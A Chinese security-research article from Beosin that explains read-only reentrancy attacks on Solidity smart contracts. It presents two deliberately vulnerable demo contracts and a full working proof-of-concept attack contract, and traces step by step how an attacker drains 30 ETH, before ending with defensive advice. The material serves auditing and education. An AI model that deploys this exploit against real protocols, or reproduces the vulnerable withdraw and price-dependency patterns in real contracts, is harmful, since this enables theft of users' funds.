本文作者:Beosin安全研究专家Sivan
近期,区块链生态中发生了多起重入攻击事件,这些攻击事件并不像我们之前认识的重入漏洞,而是在项目存在重入锁的情况下发生的只读重入攻击。
今天的安全审计必备知识,Beosin安全研究团队将为大家讲解什么是“只读重入攻击”。
哪些情况会导致重入漏洞风险?
在Solidity智能合约编程过程中,允许一个智能合约调用另一个智能合约的代码。在很多项目的业务设计中,需要给某个地址发送ETH,但如果ETH接收地址是智能合约的话,会调用智能合约的fallback函数。如果恶意用户在合约的fallback函数中写入精心设计的代码,就可能存在重入漏洞的风险。
攻击者可以在恶意合约的fallback函数中重新发起对项目合约的调用,此时第一次调用过程还没结束,部分变量还未更改,这种情况下进行第二次调用,会导致项目合约使用异常的变量进行相关计算或者使得攻击者可以绕过一些检查限制。
换而言之,重入漏洞的根本在于执行转账后并调用目标合约的某个接口,并且账本的改变在调用目标合约之后导致检查被绕过,也就是没严格按照检查-生效-交互模式设计。因此除了以太坊转账会导致重入漏洞,一些设计不当也会导致重入攻击,例如以下示例:
1、调用可控的外部函数会导致可重入可能
2、ERC721/1155安全相关函数会导致重入可能
目前重入攻击是一个常见的漏洞,大部分区块链项目开发人员也能意识到重入攻击的危害,项目中基本都设置了重入锁,使得在调用某个拥有重入锁的函数过程中,无法再次调用拥有同样重入锁的任何函数。虽然重入锁可以有效的防止上述的重入攻击,但是还有一种叫做“只读型重入”的攻击方式却难以防范。
难以防范的“只读重入”是什么?
上述我们介绍了常见重入类型,其核心在于重入之后使用异常的状态计算新状态,从而导致状态更新异常。那如果我们调用的函数是view修饰的只读型函数,函数中并不会有任何的状态修改,该函数调用之后,并不会对本合约造成任何影响。所以,这类函数项目开发者都不会太在意其重入的风险,并不会为其添加重入锁。
虽然重入view修饰的函数基本不会对本合约造成影响,但是还有另外一种情况是某个合约会调用其他合约的view函数作为数据依赖,而该合约的view函数并未添加重入锁,那么则可能导致只读重入的风险。
例如一个项目A合约中可以质押代币和提取代币,并且根据合约凭证代币总量与质押总量提供查询价格的功能,质押代币与提取代币之间存在重入锁,查询功能不存在重入锁。现有另一个项目B,提供质押提取的功能,质押与提取之间存在重入锁,质押提取函数均依赖于项目A的价格查询功能进行凭证代币的计算。
上述两个项目之间存在只读重入风险,如下图:
1、攻击者在ContractA中质押并提取代币。
2、提取代币会调用到攻击者合约fallback函数。
3、攻击者在合约中再次调用ContractB中的质押函数。
4、质押函数会调用ContractA的价格计算函数,此时ContractA合约的状态并未更新,导致计算价格错误,计算出更多的凭证代币发送给攻击者。
5、重入结束后,ContractA的状态更新。
6、最后攻击者调用ContractB提取代币。
7、此时ContractB获取的数据已经是更新的,能提取更多的代币。
代码原理分析
我们以如下demo为例进行只读重入问题的讲解,下文仅仅是测试代码,无真实业务逻辑,只作为研究只读重入的参考。
编写ContractA合约:
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * 重入锁。 **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * 根据合约凭证币总量与质押量计算质押价值,10e8为精度处理。 **/ function get_price() public view virtual returns (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /** * 用户质押,增加质押量并提供凭证币。 **/ function deposit() public payable noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; _totalSupply+=mintamount; } /** * 用户提取,减少质押量并销毁凭证币总量。 **/ function withdraw(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}(""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount; }}
部署ContractA合约并质押50ETH,模拟项目已经处于运行状态。
编写ContractB合约(依赖ContractA合约get_price函数):
pragma solidity ^0.8.21;interface ContractA { function get_price() external view returns (uint256);}contract ContractB { ContractA contract_a; mapping (address => uint256) private _balances; bool check=true; modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * 质押代币,根据ContractA合约的get_price()来计算质押代币的价值,计算出凭证代币的数量 **/ function depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value*contract_a.get_price()/10e8; _balances[msg.sender]+=mintamount; } /** * 提取代币,根据ContractA合约的get_price()来计算凭证代币的价值,计算出提取代币的数量 **/ function withdrawFunds(uint256 burnamount) public payable noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a.get_price(); msg.sender.call{value:amount}(""); } function balanceof(address acount)public view returns (uint256){ return _balances[acount]; }}
部署ContractB合约设置ContractA地址,并质押30ETH,同样模拟项目已经处于运行状态。
编写攻击POC合约:
pragma solidity ^0.8.21;interface ContractA { function deposit() external payable; function withdraw(uint256 amount) external;}interface ContractB { function depositFunds() external payable; function withdrawFunds(uint256 amount) external; function balanceof(address acount)external view returns (uint256);}contract POC { ContractA contract_a; ContractB contract_b; address payable _owner; uint flag=0; uint256 depositamount=30 ether; constructor() payable{ _owner=payable(msg.sender); } function setaddr(address _contracta,address _contractb) public { contract_a=ContractA(_contracta); contract_b=ContractB(_contractb); } /** * 攻击开始调用的函数,添加流动性、移除流动性、最后提取代币。 **/ function start(uint256 amount)public { contract_a.deposit{value:amount}(); contract_a.withdraw(amount); contract_b.withdrawFunds(contract_b.balanceof(address(this))); } /** * 重入中调用的质押函数。 **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * 攻击结束后,提取ETH。 **/ function getEther() public { _owner.transfer(address(this).balance); } /** * 回调函数,重入关键。 **/ fallback()payable external { if(msg.sender==address(contract_a)){ deposit(); } }}
换一个EOA账户进行攻击合约的部署转入50ETH,设置ContractA与ContractB地址。
向start函数中传入50000000000000000000(50*10^18)并执行,发现ContractB的30ETH被POC合约转移走了。
再次调用getEther函数,攻击者地址获利30ETH。
代码调用过程分析:
start函数首先调用ContractA合约deposit函数抵押ETH,攻击者传入50*10^18,加上最开始合约拥有的50*10^18,此时,_allstake和_totalSupply都是100*10^18。
接下来调用ContractA合约withdraw函数提取代币,合约会先更新_allstake,并将50个ETH发送给攻击合约,此时会调用到攻击合约的fallback函数,最后再更新_totalSupply。
在fallback函数中攻击合约调用ContractB合约质押30个ETH,由于get_price为view函数,所以这里ContractB合约成功重入了ContractA的get_price函数,此时由于还未更新_totalSupply,依旧为100*10^18,但_allstake已经减小到50*10^18,所以这里返回的值将扩大2倍。会给攻击合约增加60*10^18的凭证币。
重入结束后,攻击合约调用ContractB合约提取ETH,此时_totalSupply已经更新成50*10^18,将计算出与凭证币相同数量的ETH。给攻击合约转移了60ETH。最终攻击者获利30ETH。
Beosin安全建议
对于上面的安全问题,Beosin安全团队建议:对于需要依赖其他项目作为数据支撑的项目,应该严格检查依赖项目与自身项目相结合后的业务逻辑安全性。在两个项目单看均没有问题的情况下,结合后便可能出现严重的安全问题。